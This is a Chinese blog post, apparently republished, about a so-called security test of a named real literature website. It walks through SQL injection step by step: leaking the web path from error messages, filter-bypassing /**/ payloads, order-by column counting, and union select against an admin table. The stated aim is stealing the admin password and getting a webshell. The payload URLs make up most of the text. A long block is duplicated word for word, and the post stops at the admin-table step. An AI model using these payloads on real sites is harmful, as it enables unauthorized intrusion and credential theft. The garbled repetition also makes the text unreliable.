对纵横时空文学站的一次安全检测
程序员文章站
2022-03-04 08:07:44
纵横时空文学站地址为http://xxx.ouou.com/,是ouou网站下属的一个文学小说的网站。 界面做的非常漂亮. 初步看了下为PHP MYSQL的架构PHP版本为PHP/5.1.4-0.1. 。WEBSERVER使用的是Apa... 08-10-08...
纵横时空文学站地址为http://xxx.ouou.com/,是ouou网站下属的一个文学小说的网站。 界面做的非常漂亮. 初步看了下为php mysql的架构php版本为php/5.1.4-0.1. 。webserver使用的是apache/2.0.55 基于以上几点应该大概能判断出服务器应该是使用的unix . 这种架构应该为典型的p m u的架构了 也就是php mysql unix 。 可能有读者会问了 ? 你怎么知道他的apache跟mysql的版本呢? 其实这个很简单。 在web随便输入一个不存在的页面 看下暴错信息就ok了。 如图1
看到图1我们了解了网站的大概情况 首先就来查找注射漏洞。 随便打开一个带有参数的连接 地址为http://xzx.ouou.com/newslook.php?id=29 输入一个单引号检测, 成功返回错误信息, 并且暴出了web绝对路径,如图2
错误信息如下:
warning: mysql_fetch_array(): supplied argument is not a valid mysql result resource in /data/webroot/zh/newslook.php on line 264
通过错误信息得知web路径为/data/webroot/zh/newslook.php通过路径可以肯定服务器为unix
继续使用and 1=1 1=2来判断是不是真的存在注射漏洞
http://xx.ouou.com/newslook.php?id=29【/**/and/**/1=1】/**/and/**/1=1 作用与我们在asp注射中的 and 1=1的效果是一样的,因为有些站会过滤■空格,/**/是替代空格的。返回正常
继续http://xx.ouou.com/newslook.php?id=29【/**/and/**/1=2】
返回错误, 现在可以肯定http://xx.ouou.com/newslook.php?id=29 这个地址存在注射漏洞。
既然存在漏洞,我们就来通过注射点来查找到管理员的密码从而登陆后台来取得webshell。 现在来爆一下他的有多少个字段。
使用/**/order/**/by/**/10 来判断他的字段是不是小于10
http://xx.ouou.com/newslook.php?id=29【/**/order/**/by/**/10】 如图3
如图得知我们执行/**/order/**/by/**/10 页面返回错误 说明字段是小于10的 我们继续执行
http://ouou.com/newslook.php?id=29【/**/order/**/by/**/9】
http://ouou.com/newslook.php?id=29【/**/order/**/by/**/8】
http://ouou.com/newslook.php?id=29【/**/order/**/by/**/7】
http://ouou.com/newslook.php?id=29【/**/order/**/by/**/6】
http://.ouou.com/newslook.php?id=29【/**/order/**/by/**/5】
http://ouou.com/newslook.php?id=29【/**/order/**/by/**/4】
直到执行/**/order/**/by/**/4的时候页面返回正常 如图4
我们看到当执行/**/order/**/by/**/4到4的时候返回正常说明存在4个字段。 因为我们在前面已经得到mysql的版本 所以已经不用判断就知道是支持union联合查询的、
继续猜解密码
http://xx.ouou.com/newslook.php?id=29/**/and/**/1=2/**/union/**/select/**/1,2,3,4
返回出几个数字,一会帐号密码会从显示出来 :)
我们来爆字段名,经过一段时间的猜解最终确定表为admin
http://xx.ouou.com/newslook.php?id=29/**/and/**/1=2/**/union/**/select/**/1,2,3,4/**/from/**/admin 如图5
看到图1我们了解了网站的大概情况 首先就来查找注射漏洞。 随便打开一个带有参数的连接 地址为http://xzx.ouou.com/newslook.php?id=29 输入一个单引号检测, 成功返回错误信息, 并且暴出了web绝对路径,如图2
错误信息如下:
warning: mysql_fetch_array(): supplied argument is not a valid mysql result resource in /data/webroot/zh/newslook.php on line 264
通过错误信息得知web路径为/data/webroot/zh/newslook.php通过路径可以肯定服务器为unix
继续使用and 1=1 1=2来判断是不是真的存在注射漏洞
http://xx.ouou.com/newslook.php?id=29【/**/and/**/1=1】/**/and/**/1=1 作用与我们在asp注射中的 and 1=1的效果是一样的,因为有些站会过滤■空格,/**/是替代空格的。返回正常
继续http://xx.ouou.com/newslook.php?id=29【/**/and/**/1=2】
返回错误, 现在可以肯定http://xx.ouou.com/newslook.php?id=29 这个地址存在注射漏洞。
既然存在漏洞,我们就来通过注射点来查找到管理员的密码从而登陆后台来取得webshell。 现在来爆一下他的有多少个字段。
使用/**/order/**/by/**/10 来判断他的字段是不是小于10
http://xx.ouou.com/newslook.php?id=29【/**/order/**/by/**/10】 如图3
如图得知我们执行/**/order/**/by/**/10 页面返回错误 说明字段是小于10的 我们继续执行
http://ouou.com/newslook.php?id=29【/**/order/**/by/**/9】
http://ouou.com/newslook.php?id=29【/**/order/**/by/**/8】
http://ouou.com/newslook.php?id=29【/**/order/**/by/**/7】
http://ouou.com/newslook.php?id=29【/**/order/**/by/**/6】
http://.ouou.com/newslook.php?id=29【/**/order/**/by/**/5】
http://ouou.com/newslook.php?id=29【/**/order/**/by/**/4】
直到执行/**/order/**/by/**/4的时候页面返回正常 如图4
我们看到当执行/**/order/**/by/**/4到4的时候返回正常说明存在4个字段。 因为我们在前面已经得到mysql的版本 所以已经不用判断就知道是支持union联合查询的、
继续猜解密码
http://xx.ouou.com/newslook.php?id=29/**/and/**/1=2/**/union/**/select/**/1,2,3,4
返回出几个数字,一会帐号密码会从显示出来 :)
我们来爆字段名,经过一段时间的猜解最终确定表为admin
http://xx.ouou.com/newslook.php?id=29/**/and/**/1=2/**/union/**/select/**/1,2,3,4/**/from/**/admin 如图5
上一篇: iPhone如何自动给好友发消息 iPhone自动发消息方法
下一篇: 模拟入侵者检测网络攻击